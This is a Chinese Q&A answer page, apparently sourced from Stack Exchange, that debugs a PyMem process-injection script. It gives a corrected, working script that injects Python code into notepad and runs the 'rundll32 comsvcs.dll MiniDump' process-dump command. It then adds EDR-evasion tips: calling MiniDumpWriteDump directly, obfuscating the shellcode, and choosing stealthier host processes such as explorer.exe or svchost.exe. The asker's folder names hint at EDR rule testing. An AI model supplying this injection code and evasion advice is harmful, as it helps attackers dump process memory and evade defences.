基于PyMem的进程注入脚本异常问题排查及EDR规避咨询
基于PyMem的进程注入脚本异常问题排查及EDR规避咨询
看起来你遇到的问题挺典型的:PyMem注入的shellcode里,文件写入逻辑正常跑,但MiniDump相关的os.system命令完全没动静——既没生成dump文件,也没触发EDR拦截提示。咱们一步步拆解问题,然后给你调整脚本:
一、核心问题:硬编码的PID(988)
这是最致命的错误:你在shellcode里写死了PID是988,但每次启动的notepad进程PID都是动态变化的!单独测试MiniDump命令时,你用的是当时目标进程的有效PID,但注入时用固定值988,直接导致rundll32找不到对应的进程,自然啥都不会发生,连EDR都没机会触发拦截。
必须先解决:动态获取你启动的notepad进程的PID,然后传入shellcode。
二、次要问题:字符串转义与执行上下文
- 路径转义问题:你写的路径里用了单个
\,在Python字符串里这是转义字符,虽然文件写入逻辑碰巧能跑(因为\T、\p不是Python的有效转义符,会被自动解析为普通字符),但rundll32的路径可能因为转义问题出问题——稳妥的做法是用原始字符串(前缀r)或者双反斜杠\\来表示路径。 - 进程被过早终止:你的脚本在注入shellcode后立刻
notepad.kill(),很可能shellcode还没来得及执行完MiniDump命令,进程就被干掉了,必须给足够的执行时间。 - os.system的局限性:
os.system无法捕获执行结果(返回码、错误信息),出问题了根本不知道是路径错了、PID错了还是被拦截了,建议换成subprocess来调试。
三、修改后的完整脚本
我把上述问题都修复了,还加了调试日志功能,你可以直接测试:
import pymem import os import subprocess import time # 启动notepad并动态获取它的PID notepad = subprocess.Popen(['notepad.exe']) target_pid = notepad.pid # 拿到当前notepad的真实PID pm = pymem.Pymem('notepad.exe') pm.inject_python_interpreter() # 用f-string动态传入PID,同时用原始字符串处理路径 shellcode = f"""\ import os import subprocess # 保留你的文件写入逻辑,修复路径转义 f = open(r"C:\\TestRule\\process_injection.txt", "w+") f.write("pymem_injection") f.close() # 用subprocess替代os.system,捕获执行结果方便调试 try: # 动态传入notepad的PID,路径用原始字符串避免转义 result = subprocess.run( r'rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump {target_pid} C:\\Users\\你的用户名\\dump.dmp full', shell=True, capture_output=True, text=True ) # 把执行日志写入文件,方便排查问题 with open(r"C:\\TestRule\\minidump_log.txt", "w+") as log_f: log_f.write(f"返回码: {result.returncode}\\n") log_f.write(f"标准输出: {result.stdout}\\n") log_f.write(f"错误输出: {result.stderr}\\n") except Exception as e: # 捕获异常并写入日志 with open(r"C:\\TestRule\\minidump_error.txt", "w+") as err_f: err_f.write(f"执行出错: {str(e)}\\n") """ pm.inject_python_shellcode(shellcode) # 给shellcode足够的执行时间,别立刻杀进程 time.sleep(5) notepad.kill()
四、额外调试与排查建议
- 检查EDR日志:有些EDR会静默拦截高危操作,不弹出提示只记录日志,去你的EDR后台搜notepad进程、rundll32、comsvcs.dll相关的记录,确认是否被拦截。
- 权限验证:把dump文件的路径改成用户目录(比如
C:\\Users\\你的用户名\\dump.dmp),避免C盘根目录的写入权限问题——普通权限进程可能无法直接在C盘根目录创建文件。 - 测试MiniDump命令有效性:在修复PID后,你可以先在本地终端用动态获取的notepad PID测试MiniDump命令,确认能正常生成dump(或被EDR拦截),再放到注入脚本里。
五、关于EDR规避的小提示
如果你的目标是绕过EDR对MiniDump的拦截,单纯用PyMem注入到notepad可能不够,因为rundll32调用comsvcs.dll的MiniDump是EDR的经典检测规则。可以尝试:
- 改用直接调用Windows API(比如
MiniDumpWriteDump)来生成dump,而不是通过rundll32,减少特征暴露; - 对shellcode做简单的混淆(比如字符串加密、代码变形),降低被静态检测的概率;
- 选择更隐蔽的注入目标进程(比如explorer.exe、svchost.exe),而不是notepad这种明显的测试进程。
备注:内容来源于stack exchange,提问作者Biswa
相关产品推荐
相关产品推荐

